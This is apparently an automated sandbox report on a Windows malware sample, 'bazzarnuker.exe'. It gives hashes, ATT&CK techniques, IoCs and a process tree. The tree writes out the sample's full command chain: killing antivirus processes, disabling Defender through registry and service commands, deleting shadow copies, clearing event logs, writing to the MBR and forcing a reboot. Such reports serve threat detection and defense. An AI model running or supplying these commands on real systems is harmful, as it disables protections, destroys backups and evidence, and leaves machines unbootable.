6f2e3eccadffadc1b7d610246816b9906c6cb5d50d1876dcd588364241a46200

Analysis

max time kernel
10s
max time network
21s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260617-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
28/06/2026, 00:52

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
bazzarnuker.exe
Size 179KB
Sample260628-a8k5faex2x
SHA256 6f2e3eccadffadc1b7d610246816b9906c6cb5d50d1876dcd588364241a46200
MD5 09b9bf77adc7642fd85454061928f6f5
SHA1 331b93ce08ce83ba6ba4fb4477332ff017d6307d
SHA512 9c6c63362183e72aa424a449880141f068534ff5f00c41af1bd93fd39ca096a059dd246866b67978acba1ac5c135d92341d57d5edfbf9c0807582d735ab24ef4
SSDEEP 3072:0+bTQ3ggu0qPd+RLXnanGnrHzdyEfurHOTWOnUi6XrSq4BOps6aFG:0+0gYR7angH0HgmBSqsOK8
TLSH
T1FB04237680EAC758EFB30971C1BC546FA2551C3FB7F06B7F10D63B260BC86245A25922
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

bootkit defense_evasion discovery evasion execution impact persistence ransomware spyware stealer trojan upx

Malware Config

Signatures

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

defense_evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Clears Windows event logs 1 TTPs 3 IoCs

defense_evasion ransomware

Clear Windows Event Logs

T1070.001

pid	Process
1468	wevtutil.exe
4584	wevtutil.exe
1488	wevtutil.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4344	powershell.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	bazzarnuker.exe

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2688-0-0x00007FF7FAE40000-0x00007FF7FAEBD000-memory.dmp	upx
behavioral2/memory/2688-2-0x00007FF7FAE40000-0x00007FF7FAEBD000-memory.dmp	upx
behavioral2/memory/2716-18-0x00007FF7FAE40000-0x00007FF7FAEBD000-memory.dmp	upx
behavioral2/memory/2716-2156-0x00007FF7FAE40000-0x00007FF7FAEBD000-memory.dmp	upx
behavioral2/memory/2716-2588-0x00007FF7FAE40000-0x00007FF7FAEBD000-memory.dmp	upx

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5660	sc.exe
5620	sc.exe
5128	sc.exe
3080	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
1332	vssadmin.exe

Kills process with taskkill 7 IoCs

defense_evasion

pid	Process
616	taskkill.exe
2752	taskkill.exe
3948	taskkill.exe
3360	taskkill.exe
5752	taskkill.exe
5344	taskkill.exe
3168	taskkill.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4344	powershell.exe
4344	powershell.exe
4500	wmic.exe
4500	wmic.exe
4500	wmic.exe
4500	wmic.exe

Suspicious use of AdjustPrivilegeToken 59 IoCs

description	pid	Process
Token: SeDebugPrivilege	3168	taskkill.exe
Token: SeDebugPrivilege	4344	powershell.exe
Token: SeDebugPrivilege	2752	taskkill.exe
Token: SeDebugPrivilege	5752	taskkill.exe
Token: SeDebugPrivilege	3948	taskkill.exe
Token: SeDebugPrivilege	3360	taskkill.exe
Token: SeDebugPrivilege	5344	taskkill.exe
Token: SeDebugPrivilege	616	taskkill.exe
Token: SeSecurityPrivilege	4584	wevtutil.exe
Token: SeBackupPrivilege	4584	wevtutil.exe
Token: SeSecurityPrivilege	1468	wevtutil.exe
Token: SeBackupPrivilege	1468	wevtutil.exe
Token: SeSecurityPrivilege	1488	wevtutil.exe
Token: SeBackupPrivilege	1488	wevtutil.exe
Token: SeIncreaseQuotaPrivilege	4500	wmic.exe
Token: SeSecurityPrivilege	4500	wmic.exe
Token: SeTakeOwnershipPrivilege	4500	wmic.exe
Token: SeLoadDriverPrivilege	4500	wmic.exe
Token: SeSystemProfilePrivilege	4500	wmic.exe
Token: SeSystemtimePrivilege	4500	wmic.exe
Token: SeProfSingleProcessPrivilege	4500	wmic.exe
Token: SeIncBasePriorityPrivilege	4500	wmic.exe
Token: SeCreatePagefilePrivilege	4500	wmic.exe
Token: SeBackupPrivilege	4500	wmic.exe
Token: SeRestorePrivilege	4500	wmic.exe
Token: SeShutdownPrivilege	4500	wmic.exe
Token: SeDebugPrivilege	4500	wmic.exe
Token: SeSystemEnvironmentPrivilege	4500	wmic.exe
Token: SeRemoteShutdownPrivilege	4500	wmic.exe
Token: SeUndockPrivilege	4500	wmic.exe
Token: SeManageVolumePrivilege	4500	wmic.exe
Token: 33	4500	wmic.exe
Token: 34	4500	wmic.exe
Token: 35	4500	wmic.exe
Token: 36	4500	wmic.exe
Token: SeBackupPrivilege	1076	vssvc.exe
Token: SeRestorePrivilege	1076	vssvc.exe
Token: SeAuditPrivilege	1076	vssvc.exe
Token: SeIncreaseQuotaPrivilege	4500	wmic.exe
Token: SeSecurityPrivilege	4500	wmic.exe
Token: SeTakeOwnershipPrivilege	4500	wmic.exe
Token: SeLoadDriverPrivilege	4500	wmic.exe
Token: SeSystemProfilePrivilege	4500	wmic.exe
Token: SeSystemtimePrivilege	4500	wmic.exe
Token: SeProfSingleProcessPrivilege	4500	wmic.exe
Token: SeIncBasePriorityPrivilege	4500	wmic.exe
Token: SeCreatePagefilePrivilege	4500	wmic.exe
Token: SeBackupPrivilege	4500	wmic.exe
Token: SeRestorePrivilege	4500	wmic.exe
Token: SeShutdownPrivilege	4500	wmic.exe
Token: SeDebugPrivilege	4500	wmic.exe
Token: SeSystemEnvironmentPrivilege	4500	wmic.exe
Token: SeRemoteShutdownPrivilege	4500	wmic.exe
Token: SeUndockPrivilege	4500	wmic.exe
Token: SeManageVolumePrivilege	4500	wmic.exe
Token: 33	4500	wmic.exe
Token: 34	4500	wmic.exe
Token: 35	4500	wmic.exe
Token: 36	4500	wmic.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 2688 wrote to memory of 3168	2688	bazzarnuker.exe	90
PID 2688 wrote to memory of 4344	2688	bazzarnuker.exe	91
PID 4344 wrote to memory of 2716	4344	powershell.exe	95
PID 2716 wrote to memory of 616	2716	bazzarnuker.exe	97
PID 2716 wrote to memory of 2752	2716	bazzarnuker.exe	98
PID 2716 wrote to memory of 3948	2716	bazzarnuker.exe	99
PID 2716 wrote to memory of 5344	2716	bazzarnuker.exe	100
PID 2716 wrote to memory of 5752	2716	bazzarnuker.exe	101
PID 2716 wrote to memory of 3360	2716	bazzarnuker.exe	102
PID 2716 wrote to memory of 2052	2716	bazzarnuker.exe	103
PID 2716 wrote to memory of 1548	2716	bazzarnuker.exe	104
PID 2716 wrote to memory of 3448	2716	bazzarnuker.exe	105
PID 2716 wrote to memory of 5128	2716	bazzarnuker.exe	107
PID 2716 wrote to memory of 3080	2716	bazzarnuker.exe	108
PID 2716 wrote to memory of 5620	2716	bazzarnuker.exe	110
PID 2716 wrote to memory of 5660	2716	bazzarnuker.exe	111
PID 2716 wrote to memory of 1332	2716	bazzarnuker.exe	123
PID 2716 wrote to memory of 4500	2716	bazzarnuker.exe	124
PID 2716 wrote to memory of 1468	2716	bazzarnuker.exe	126
PID 2716 wrote to memory of 1488	2716	bazzarnuker.exe	127
PID 2716 wrote to memory of 4584	2716	bazzarnuker.exe	129

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe
"C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2688
- C:\Windows\system32\taskkill.exe
  "taskkill" /f /im javaw.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3168
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "Start-Process -Verb RunAs -FilePath 'C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe' -ArgumentList '--elevated' -WindowStyle Hidden"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4344
- - C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe
    "C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe" --elevated
    3⤵
    - Writes to the Master Boot Record (MBR)
    - Suspicious use of WriteProcessMemory
    PID:2716
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im javaw.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:616
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im MsMpEng.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2752
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im NisSrv.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3948
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im cb.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5344
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im csfalconservice.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5752
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im csagent.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3360
  - - C:\Windows\system32\reg.exe
      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender DisableAntiSpyware settings
      PID:2052
  - - C:\Windows\system32\reg.exe
      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:1548
  - - C:\Windows\system32\reg.exe
      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:3448
  - - C:\Windows\system32\sc.exe
      "sc" stop WinDefend
      4⤵
      Launches sc.exe
      PID:5128
  - - C:\Windows\system32\sc.exe
      "sc" config WinDefend start= disabled
      4⤵
      Launches sc.exe
      PID:3080
  - - C:\Windows\system32\sc.exe
      "sc" stop Sense
      4⤵
      Launches sc.exe
      PID:5620
  - - C:\Windows\system32\sc.exe
      "sc" config Sense start= disabled
      4⤵
      Launches sc.exe
      PID:5660
  - - C:\Windows\system32\vssadmin.exe
      "vssadmin" delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:1332
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic" shadowcopy delete
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4500
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" cl Application
      4⤵
      Clears Windows event logs
      Suspicious use of AdjustPrivilegeToken
      PID:1468
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" cl System
      4⤵
      Clears Windows event logs
      Suspicious use of AdjustPrivilegeToken
      PID:1488
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" cl Security
      4⤵
      Clears Windows event logs
      Suspicious use of AdjustPrivilegeToken
      PID:4584
  - - C:\Windows\system32\shutdown.exe
      "shutdown" /r /t 0 /f
      4⤵
      PID:1980